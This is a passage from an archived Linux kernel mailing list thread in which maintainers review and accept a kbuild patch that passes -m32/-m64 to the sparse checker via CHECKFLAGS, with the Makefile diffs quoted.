        Ralf Baechle <ralf@linux-mips.org>,
        James Hogan <jhogan@kernel.org>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S . Miller" <davem@davemloft.net>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H . Peter Anvin" <hpa@zytor.com>,
        "the arch/x86 maintainers" <x86@kernel.org>,
        Brendan Hig
To: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu May 31 03:31:00 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fOCQb-0005RW-FG
	for glk-linux-kernel-4@m.gmane.org; Thu, 31 May 2018 03:30:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932701AbeEaBcz (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 30 May 2018 21:32:55 -0400
Original-Received: from conssluserg-05.nifty.com ([210.131.2.90]:38545 "EHLO
        conssluserg-05.nifty.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932593AbeEaBcx (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 30 May 2018 21:32:53 -0400
X-Greylist: delayed 131041 seconds by postgrey-1.27 at vger.kernel.org; Wed, 30 May 2018 21:32:53 EDT
Original-Received: from mail-vk0-f53.google.com (mail-vk0-f53.google.com [209.85.213.53]) (authenticated)
        by conssluserg-05.nifty.com with ESMTP id w4V1WWXv017753;
        Thu, 31 May 2018 10:32:33 +0900
DKIM-Filter: OpenDKIM Filter v2.10.3 conssluserg-05.nifty.com w4V1WWXv017753
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nifty.com;
        s=dec2015msa; t=1527730353;
        bh=umFZwwKoVrClAkiEXAXVy8YYb3HJpBcwey/N9CUPxSs=;
        h=In-Reply-To:References:From:Date:Subject:To:Cc:From;
        b=UQchLP1aLMJj4iVvbNPsJuVV+zTAKBxPYN+UBFl8F1kL3xI2jucDqijr/8VwuI55C
         z99Z8hUct99TWAa8IF8Zsg8GBcFxf7phySdKDWJxc2HsWyVnMr9tfujNNoGOOrGUIU
         shLpAwPMB3dDSi6KD79KKYFm4d4SIj0pMm5awFsXTXor2KSNIY8ijPqQAC6Dj2UQme
         1cUI18/XF6u3cQYEtq9Rys+p6pebUVlCnDldOLkhkKsC3wHSU2LUWPyNO90LjfgVMJ
         5AEgeHAhkW3iG/Om4eh41aXhuOSaQVBYatQnS4atLhRb3OGStvx71eOHRumzsU5ysk
         qkBPXcHn/F2OA==
X-Nifty-SrcIP: [209.85.213.53]
Original-Received: by mail-vk0-f53.google.com with SMTP id s187-v6so534235vke.9;
        Wed, 30 May 2018 18:32:33 -0700 (PDT)
X-Gm-Message-State: ALKqPwe6aVuPbLX9VMsFWZCdJUHDPpqB7saWSIuRQuv0AK0RFj3QATYO
        AX6NZTn9Q07RT/E5Unrkh8BIIRMT0ywwhvGqXK0=
X-Google-Smtp-Source: ADUXVKLxNBy4CVF7u2XGFtJU2Bi+wuqtTkZfbCWGb3LKRWdLJ4ZvlGXoqV6VDqMCJj5hoKzRGwdKywgeyH/+nb5rVFo=
X-Received: by 2002:a1f:b143:: with SMTP id a64-v6mr2965349vkf.65.1527730350158;
 Wed, 30 May 2018 18:32:30 -0700 (PDT)
Original-Received: by 2002:ab0:20ab:0:0:0:0:0 with HTTP; Wed, 30 May 2018 18:31:49
 -0700 (PDT)
In-Reply-To: <CAMHZB6GXVPvr1uwbemuxqPPtNzYT7jeVokR6q9tz2mS_=TG6vA@mail.gmail.com>
X-Gmail-Original-Message-ID: <CAK7LNARYP9T4pfuA32KrnP4-8_S+BPkvGBVyFgWXp_roXfQV7w@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2783203 gmane.linux.kbuild.devel:20165 gmane.linux.ports.alpha:5105 gmane.linux.ports.arm.kernel:654178 gmane.linux.ports.ia64:28848 gmane.linux.ports.mips.general:64936 gmane.linux.ports.parisc:28674 gmane.linux.ports.sparc:27928
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2783203>

2018-05-31 8:06 GMT+09:00 Luc Van Oostenryck <luc.vanoostenryck@gmail.com>:
> On Thu, May 31, 2018 at 12:00 AM, Andreas F=C3=A4rber <afaerber@suse.de> =
wrote:
>> Hi Luc,
>>
>> The typo in the subject made me curious...
>>
>> Am 30.05.2018 um 22:48 schrieb Luc Van Oostenryck:
>>> By default, sparse assumes a 64bit machine when compiled on x86-64
>>> and 32bit when compiled on anything else.
>>>
>>> This can of course create all sort of problems for the other archs, lik=
e
>>> issuing false warnings ('shift too big (32) for type unsigned long'), o=
r
>>> worse, failing to emit legitimate warnings.
>>>
>>> Fix this by adding the -m32/-m64 flag, depending on CONFIG_64BIT,
>>> to CHECKFLAGS in the main Makefile (and so for all archs).
>>> Also, remove the now unneeded -m32/-m64 in arch specific Makefiles.
>>>
>>> Signed-off-by: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
>>> ---
>>>  Makefile             | 3 +++
>>>  arch/alpha/Makefile  | 2 +-
>>>  arch/arm/Makefile    | 2 +-
>>>  arch/arm64/Makefile  | 2 +-
>>>  arch/ia64/Makefile   | 2 +-
>>>  arch/mips/Makefile   | 3 ---
>>>  arch/parisc/Makefile | 2 +-
>>>  arch/sparc/Makefile  | 2 +-
>>>  arch/x86/Makefile    | 2 +-
>>>  9 files changed, 10 insertions(+), 10 deletions(-)
>>
>> What about the architectures not touched by your patch that previously
>> had no -m32/-m64? (arc, c6x, h8300, hexagon, m68k, microblaze, nds32,
>> nios2, openrisc, powerpc, riscv, s390, sh, unicore32, xtensa)
>
> As explained in the patch, by default sparse uses -m64 if compiled on x86=
-64
> and 32bit on everything else (well, more recent versions use -m64 if
> compiled on any 64 bit machine). I think that most ppc devs use a ppc
> machine and so ppc was most probably fine (at least ppc64) but I suspect
> that most of these others archs either had never sparse used on them
> or had a lot of wrong warnings. IOW, it was maybe OK but most probably
> incorrect for them and now it is OK.
>
>> You forgot to CC them on this patch.
>
> I didn't thought/knew  it was needed and the CC list is already
> quite long but, if needed, no problem for me.
>
>> Have you really checked that all their toolchains support the -m32/-m64
>> flags you newly introduce for them? Apart from non-biarch architectures,
>> I'm thinking of 31-bit s390 as a corner case where !64 !=3D 32.
>
> Hmm, there is no change to anything I call 'toolchain related', like
> compiler and linker. The only change is sparse (or any other checker)
> receiving now a correct and explicit -m32 or -m64.


Right.  We are talking about sparse.
Nobody needs to test vmlinux or whatever objects.

Except the typo in the subject (I can locally fix it up, though),
this patch looks good to me.






> For s390, as far as I know:
> 1) it has CONFIG_64BIT unconditionally definee (because the old 31bit
>    is no more supported, now everything is s390x only).
> 2) even if the *address space* was only 31 bit, I'm very sure
>    that sizeof(long) and sizeof(void*) was 4 on these machine
>    hence -m32 would have been correct.
>
> Best regards,
> -- Luc
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kbuild" i=
n
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html



--=20
Best Regards
Masahiro Yamada


From - Thu Nov 08 21:41:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Daniel Thompson <daniel.thompson@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH] kbuild: add machine size to CHEKCFLAGS
Date: Thu, 31 May 2018 09:38:32 +0100
Lines: 156
Approved: news@gmane.org
Message-ID: <20180531083832.glzcj23cgucev77v@holly.lan>
References: <20180530204838.22079-1-luc.vanoostenryck@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1527755805 21925 195.159.176.226 (31 May 2018 08:36:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 31 May 2018 08:36:45 +0000 (UTC)
User-Agent: NeoMutt/20180512
Cc: Masahiro Yamada <yamada.masahiro@socionext.com>,
        Michal Marek <michal.lkml@markovi.net>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        James Hogan <jhogan@kernel.org>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S . Miller" <davem@davemloft.net>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H . Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Brendan Higgins <brendanhiggins@google.com>,
To: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu May 31 10:36:38 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fOJ4U-0004Dr-K0
	for glk-linux-kernel-4@m.gmane.org; Thu, 31 May 2018 10:36:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754176AbeEaIio (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 31 May 2018 04:38:44 -0400
Original-Received: from mail-wm0-f68.google.com ([74.125.82.68]:38115 "EHLO
        mail-wm0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754071AbeEaIii (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 31 May 2018 04:38:38 -0400
Original-Received: by mail-wm0-f68.google.com with SMTP id m129-v6so52347388wmb.3
        for <linux-kernel@vger.kernel.org>; Thu, 31 May 2018 01:38:37 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=ztsPvYEWARJUvJ1opa/XEvLAXjZYFHe/8IpWVNHQtPY=;
        b=MwIaSl0dCU4IZEyYOgV0jAdSmiJy+/btG2ob9D57Ufv9820x6qsumBRBX8oawI7R15
         JXAQQAmgYAQvT6RzdEjASjtStuaOsQSkvOIYfQRD5cES8nVYhnxZ6tcKKt2izHtpNa+N
         WgnCEC3vqzcB3F+AEnJSuO8HMbwWq1kPoDyss=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=ztsPvYEWARJUvJ1opa/XEvLAXjZYFHe/8IpWVNHQtPY=;
        b=TH7Yhu19a27ebqYUknN2N3I/sqzxLsOQu720+q3tUWwoqjhVgCMpsgP7nf6t7F2Cbu
         RalcqlFqmMxrXUgDIQ88fJxvNwy1Hcn3uooYgA2hNWeIa5YhG7RhFnQv0CaLzzxBiXzM
         O+4W2tv4x1Xv4sRJbyrbHNGbl9F0ddrlobXBcqrTi08m4WFB20I9LJ26zad9d0PqIKAA
         16jrAEkqkQMKRlbi4ZoDjtT+8XkhQiS5ZhkDtkww32CjaQV/f67H7MIchVZC5yruLU4R
         QnKI391EL3IgtCndKj8I3eEFwoWzqs85gfRDh+DCxuHGbppEglDXKyae6msfLu++DxbA
         0MkQ==
X-Gm-Message-State: ALKqPwe2YLYG2XQwUTzqweMyyuYeDF/uUMUuXVMFZsMe5/E0UT/jA39/
        eEmVGacx4KmEsZF3dkUP9g/+PQ==
X-Google-Smtp-Source: ADUXVKIkbuGAAfSxXiQH56qTVc4Itx/n+Gsl6iD0/ILPI+JGda4xHqQJQQkW98z0459P7zgFVWwBRw==
X-Received: by 2002:a1c:4518:: with SMTP id s24-v6mr3977549wma.50.1527755916375;
        Thu, 31 May 2018 01:38:36 -0700 (PDT)
Original-Received: from holly.lan (cpc141214-aztw34-2-0-cust773.18-1.cable.virginm.net. [86.9.19.6])
        by smtp.gmail.com with ESMTPSA id d90-v6sm810547wmi.26.2018.05.31.01.38.34
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 31 May 2018 01:38:35 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20180530204838.22079-1-luc.vanoostenryck@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2783425 gmane.linux.kbuild.devel:20171 gmane.linux.ports.alpha:5106 gmane.linux.ports.arm.kernel:654258 gmane.linux.ports.ia64:28849 gmane.linux.ports.mips.general:64937 gmane.linux.ports.parisc:28675 gmane.linux.ports.sparc:27929
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2783425>

On Wed, May 30, 2018 at 10:48:38PM +0200, Luc Van Oostenryck wrote:
> By default, sparse assumes a 64bit machine when compiled on x86-64
> and 32bit when compiled on anything else.
> 
> This can of course create all sort of problems for the other archs, like
> issuing false warnings ('shift too big (32) for type unsigned long'), or
> worse, failing to emit legitimate warnings.
> 
> Fix this by adding the -m32/-m64 flag, depending on CONFIG_64BIT,
> to CHECKFLAGS in the main Makefile (and so for all archs).
> Also, remove the now unneeded -m32/-m64 in arch specific Makefiles.
> 
> Signed-off-by: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>

Looks like a good clean up to me. However the typo in the Subject: line
did attract my attention.


Daniel.


> ---
>  Makefile             | 3 +++
>  arch/alpha/Makefile  | 2 +-
>  arch/arm/Makefile    | 2 +-
>  arch/arm64/Makefile  | 2 +-
>  arch/ia64/Makefile   | 2 +-
>  arch/mips/Makefile   | 3 ---
>  arch/parisc/Makefile | 2 +-
>  arch/sparc/Makefile  | 2 +-
>  arch/x86/Makefile    | 2 +-
>  9 files changed, 10 insertions(+), 10 deletions(-)
> 
> diff --git a/Makefile b/Makefile
> index 6c6610913..18379987c 100644
> --- a/Makefile
> +++ b/Makefile
> @@ -881,6 +881,9 @@ endif
>  # insure the checker run with the right endianness
>  CHECKFLAGS += $(if $(CONFIG_CPU_BIG_ENDIAN),-mbig-endian,-mlittle-endian)
>  
> +# the checker needs the correct machine size
> +CHECKFLAGS += $(if $(CONFIG_64BIT),-m64,-m32)
> +
>  # Default kernel image to build when no specific target is given.
>  # KBUILD_IMAGE may be overruled on the command line or
>  # set in the environment
> diff --git a/arch/alpha/Makefile b/arch/alpha/Makefile
> index 2cc3cc519..c5ec8c09c 100644
> --- a/arch/alpha/Makefile
> +++ b/arch/alpha/Makefile
> @@ -11,7 +11,7 @@
>  NM := $(NM) -B
>  
>  LDFLAGS_vmlinux	:= -static -N #-relax
> -CHECKFLAGS	+= -D__alpha__ -m64
> +CHECKFLAGS	+= -D__alpha__
>  cflags-y	:= -pipe -mno-fp-regs -ffixed-8
>  cflags-y	+= $(call cc-option, -fno-jump-tables)
>  
> diff --git a/arch/arm/Makefile b/arch/arm/Makefile
> index e4e537f27..f32a5468d 100644
> --- a/arch/arm/Makefile
> +++ b/arch/arm/Makefile
> @@ -135,7 +135,7 @@ endif
>  KBUILD_CFLAGS	+=$(CFLAGS_ABI) $(CFLAGS_ISA) $(arch-y) $(tune-y) $(call cc-option,-mshort-load-bytes,$(call cc-option,-malignment-traps,)) -msoft-float -Uarm
>  KBUILD_AFLAGS	+=$(CFLAGS_ABI) $(AFLAGS_ISA) $(arch-y) $(tune-y) -include asm/unified.h -msoft-float
>  
> -CHECKFLAGS	+= -D__arm__ -m32
> +CHECKFLAGS	+= -D__arm__
>  
>  #Default value
>  head-y		:= arch/arm/kernel/head$(MMUEXT).o
> diff --git a/arch/arm64/Makefile b/arch/arm64/Makefile
> index 87f7d2f9f..3c353b471 100644
> --- a/arch/arm64/Makefile
> +++ b/arch/arm64/Makefile
> @@ -78,7 +78,7 @@ LDFLAGS		+= -maarch64linux
>  UTS_MACHINE	:= aarch64
>  endif
>  
> -CHECKFLAGS	+= -D__aarch64__ -m64
> +CHECKFLAGS	+= -D__aarch64__
>  
>  ifeq ($(CONFIG_ARM64_MODULE_PLTS),y)
>  KBUILD_LDFLAGS_MODULE	+= -T $(srctree)/arch/arm64/kernel/module.lds
> diff --git a/arch/ia64/Makefile b/arch/ia64/Makefile
> index 2dd7f519a..45f59808b 100644
> --- a/arch/ia64/Makefile
> +++ b/arch/ia64/Makefile
> @@ -18,7 +18,7 @@ READELF := $(CROSS_COMPILE)readelf
>  
>  export AWK
>  
> -CHECKFLAGS	+= -m64 -D__ia64=1 -D__ia64__=1 -D_LP64 -D__LP64__
> +CHECKFLAGS	+= -D__ia64=1 -D__ia64__=1 -D_LP64 -D__LP64__
>  
>  OBJCOPYFLAGS	:= --strip-all
>  LDFLAGS_vmlinux	:= -static
> diff --git a/arch/mips/Makefile b/arch/mips/Makefile
> index 5e9fce076..e2122cca4 100644
> --- a/arch/mips/Makefile
> +++ b/arch/mips/Makefile
> @@ -309,9 +309,6 @@ ifdef CONFIG_MIPS
>  CHECKFLAGS += $(shell $(CC) $(KBUILD_CFLAGS) -dM -E -x c /dev/null | \
>  	egrep -vw '__GNUC_(|MINOR_|PATCHLEVEL_)_' | \
>  	sed -e "s/^\#define /-D'/" -e "s/ /'='/" -e "s/$$/'/" -e 's/\$$/&&/g')
> -ifdef CONFIG_64BIT
> -CHECKFLAGS		+= -m64
> -endif
>  endif
>  
>  OBJCOPYFLAGS		+= --remove-section=.reginfo
> diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
> index 348ae4779..714284ea6 100644
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
> @@ -28,7 +28,7 @@ export LIBGCC
>  
>  ifdef CONFIG_64BIT
>  UTS_MACHINE	:= parisc64
> -CHECKFLAGS	+= -D__LP64__=1 -m64
> +CHECKFLAGS	+= -D__LP64__=1
>  CC_ARCHES	= hppa64
>  LD_BFD		:= elf64-hppa-linux
>  else # 32-bit
> diff --git a/arch/sparc/Makefile b/arch/sparc/Makefile
> index edac927e4..966a13d2b 100644
> --- a/arch/sparc/Makefile
> +++ b/arch/sparc/Makefile
> @@ -39,7 +39,7 @@ else
>  # sparc64
>  #
>  
> -CHECKFLAGS    += -D__sparc__ -D__sparc_v9__ -D__arch64__ -m64
> +CHECKFLAGS    += -D__sparc__ -D__sparc_v9__ -D__arch64__
>  LDFLAGS       := -m elf64_sparc
>  export BITS   := 64
>  UTS_MACHINE   := sparc64
> diff --git a/arch/x86/Makefile b/arch/x86/Makefile
> index 60135cbd9..f0a6ea224 100644
> --- a/arch/x86/Makefile
> +++ b/arch/x86/Makefile
> @@ -94,7 +94,7 @@ ifeq ($(CONFIG_X86_32),y)
>  else
>          BITS := 64
>          UTS_MACHINE := x86_64
> -        CHECKFLAGS += -D__x86_64__ -m64
> +        CHECKFLAGS += -D__x86_64__
>  
>          biarch := -m64
>          KBUILD_AFLAGS += -m64
> -- 
> 2.17.0
> 


From - Thu Nov 08 21:41:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Masahiro Yamada <yamada.masahiro@socionext.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH] kbuild: add machine size to CHEKCFLAGS
Date: Sat, 2 Jun 2018 16:53:48 +0900
Lines: 160
Approved: news@gmane.org
Message-ID: <CAK7LNASGYhAGbHbVzb+bbnpOsh2Vvt-C0cYpzu55b0PS-Oqc4Q@mail.gmail.com>
References: <20180530204838.22079-1-luc.vanoostenryck@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1527925962 30853 195.159.176.226 (2 Jun 2018 07:52:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 2 Jun 2018 07:52:42 +0000 (UTC)
Cc: Michal Marek <michal.lkml@markovi.net>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        James Hogan <jhogan@kernel.org>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S . Miller" <davem@davemloft.net>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H . Peter Anvin" <hpa@zytor.com>, X86 ML <x86@kernel.org>,
        Brendan Higgins <brendanhiggins@google.com>,
        Martin Blumenstingl <martin.blumenstingl@googl
To: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Jun 02 09:52:35 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fP1Kz-0007pH-0E
	for glk-linux-kernel-4@m.gmane.org; Sat, 02 Jun 2018 09:52:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751581AbeFBHym (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 2 Jun 2018 03:54:42 -0400
Original-Received: from conssluserg-06.nifty.com ([210.131.2.91]:18824 "EHLO
        conssluserg-06.nifty.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751498AbeFBHyj (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 2 Jun 2018 03:54:39 -0400
Original-Received: from mail-ua0-f173.google.com (mail-ua0-f173.google.com [209.85.217.173]) (authenticated)
        by conssluserg-06.nifty.com with ESMTP id w527sVB4000328;
        Sat, 2 Jun 2018 16:54:31 +0900
DKIM-Filter: OpenDKIM Filter v2.10.3 conssluserg-06.nifty.com w527sVB4000328
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nifty.com;
        s=dec2015msa; t=1527926072;
        bh=5A9S+PR/n9S7v5bfEEHf0oEK5Kh+aYqMilWTOt+7sF8=;
        h=In-Reply-To:References:From:Date:Subject:To:Cc:From;
        b=IyWbu3wZ6no/W5S7j9YdP3Zk4gB3Tft/lYfpKfDP9jZ7qavSh8FZGVPcooX5DqRoN
         4YfYKZ6IMhMFtWULsktJICbpN8vIeMK/PIxPPaJjSaUwY0/gek3N8ZX2G9Salp6BCb
         JPv1A2pIfzFsG1BuW9oIhcdmCUvMsCen0FU88BUuEXRgYQg1pTtlRwaESc9iNgovdg
         XUT18SOW/t2mbrBcvlVfIHqCXyHjCFr0jCaYHdDGGS4KFAfr3EGXjSRFQG3uGdnwq7
         drKonXlVQ2KNdf9sGJBh5foEzRVXiQSb7vojdiL6p4xb24YJ/kR23oNB9A0sVmmnEO
         pa+7H3GpBSxwA==
X-Nifty-SrcIP: [209.85.217.173]
Original-Received: by mail-ua0-f173.google.com with SMTP id y8-v6so18878229ual.5;
        Sat, 02 Jun 2018 00:54:31 -0700 (PDT)
X-Gm-Message-State: APt69E2RuQtWBJ6WuE9owrnIc9iRfXwTKoPzXkwEhA6YYuWw/gvAwNny
        envSPyJH1tERh/PmBRph0i7x+uuVIUVdym3Fijo=
X-Google-Smtp-Source: ADUXVKI9GFXAKRVBIZwN+ouIczzzu2aLW8l3jReoTQLLx1EjNM4YR8kFxZ8mqkmUBN/ODoPHlT6VcZsJc79IoZL84xA=
X-Received: by 2002:ab0:5061:: with SMTP id z30-v6mr5577236uaz.82.1527926068831;
 Sat, 02 Jun 2018 00:54:28 -0700 (PDT)
Original-Received: by 2002:ab0:20ab:0:0:0:0:0 with HTTP; Sat, 2 Jun 2018 00:53:48 -0700 (PDT)
In-Reply-To: <20180530204838.22079-1-luc.vanoostenryck@gmail.com>
X-Gmail-Original-Message-ID: <CAK7LNASGYhAGbHbVzb+bbnpOsh2Vvt-C0cYpzu55b0PS-Oqc4Q@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2785169 gmane.linux.kbuild.devel:20187 gmane.linux.ports.alpha:5107 gmane.linux.ports.arm.kernel:654667 gmane.linux.ports.ia64:28850 gmane.linux.ports.mips.general:64944 gmane.linux.ports.parisc:28676 gmane.linux.ports.sparc:27932
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2785169>

2018-05-31 5:48 GMT+09:00 Luc Van Oostenryck <luc.vanoostenryck@gmail.com>:
> By default, sparse assumes a 64bit machine when compiled on x86-64
> and 32bit when compiled on anything else.
>
> This can of course create all sort of problems for the other archs, like
> issuing false warnings ('shift too big (32) for type unsigned long'), or
> worse, failing to emit legitimate warnings.
>
> Fix this by adding the -m32/-m64 flag, depending on CONFIG_64BIT,
> to CHECKFLAGS in the main Makefile (and so for all archs).
> Also, remove the now unneeded -m32/-m64 in arch specific Makefiles.
>
> Signed-off-by: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
> ---

Fixed CHEKCFLAGS -> CHECKFLAGS
and applied to linux-kbuild.  Thanks!



>  Makefile             | 3 +++
>  arch/alpha/Makefile  | 2 +-
>  arch/arm/Makefile    | 2 +-
>  arch/arm64/Makefile  | 2 +-
>  arch/ia64/Makefile   | 2 +-
>  arch/mips/Makefile   | 3 ---
>  arch/parisc/Makefile | 2 +-
>  arch/sparc/Makefile  | 2 +-
>  arch/x86/Makefile    | 2 +-
>  9 files changed, 10 insertions(+), 10 deletions(-)
>
> diff --git a/Makefile b/Makefile
> index 6c6610913..18379987c 100644
> --- a/Makefile
> +++ b/Makefile
> @@ -881,6 +881,9 @@ endif
>  # insure the checker run with the right endianness
>  CHECKFLAGS += $(if $(CONFIG_CPU_BIG_ENDIAN),-mbig-endian,-mlittle-endian)
>
> +# the checker needs the correct machine size
> +CHECKFLAGS += $(if $(CONFIG_64BIT),-m64,-m32)
> +
>  # Default kernel image to build when no specific target is given.
>  # KBUILD_IMAGE may be overruled on the command line or
>  # set in the environment
> diff --git a/arch/alpha/Makefile b/arch/alpha/Makefile
> index 2cc3cc519..c5ec8c09c 100644
> --- a/arch/alpha/Makefile
> +++ b/arch/alpha/Makefile
> @@ -11,7 +11,7 @@
>  NM := $(NM) -B
>
>  LDFLAGS_vmlinux        := -static -N #-relax
> -CHECKFLAGS     += -D__alpha__ -m64
> +CHECKFLAGS     += -D__alpha__
>  cflags-y       := -pipe -mno-fp-regs -ffixed-8
>  cflags-y       += $(call cc-option, -fno-jump-tables)
>
> diff --git a/arch/arm/Makefile b/arch/arm/Makefile
> index e4e537f27..f32a5468d 100644
> --- a/arch/arm/Makefile
> +++ b/arch/arm/Makefile
> @@ -135,7 +135,7 @@ endif
>  KBUILD_CFLAGS  +=$(CFLAGS_ABI) $(CFLAGS_ISA) $(arch-y) $(tune-y) $(call cc-option,-mshort-load-bytes,$(call cc-option,-malignment-traps,)) -msoft-float -Uarm
>  KBUILD_AFLAGS  +=$(CFLAGS_ABI) $(AFLAGS_ISA) $(arch-y) $(tune-y) -include asm/unified.h -msoft-float
>
> -CHECKFLAGS     += -D__arm__ -m32
> +CHECKFLAGS     += -D__arm__
>
>  #Default value
>  head-y         := arch/arm/kernel/head$(MMUEXT).o
> diff --git a/arch/arm64/Makefile b/arch/arm64/Makefile
> index 87f7d2f9f..3c353b471 100644
> --- a/arch/arm64/Makefile
> +++ b/arch/arm64/Makefile
> @@ -78,7 +78,7 @@ LDFLAGS               += -maarch64linux
>  UTS_MACHINE    := aarch64
>  endif
>
> -CHECKFLAGS     += -D__aarch64__ -m64
> +CHECKFLAGS     += -D__aarch64__
>
>  ifeq ($(CONFIG_ARM64_MODULE_PLTS),y)
>  KBUILD_LDFLAGS_MODULE  += -T $(srctree)/arch/arm64/kernel/module.lds
> diff --git a/arch/ia64/Makefile b/arch/ia64/Makefile
> index 2dd7f519a..45f59808b 100644
> --- a/arch/ia64/Makefile
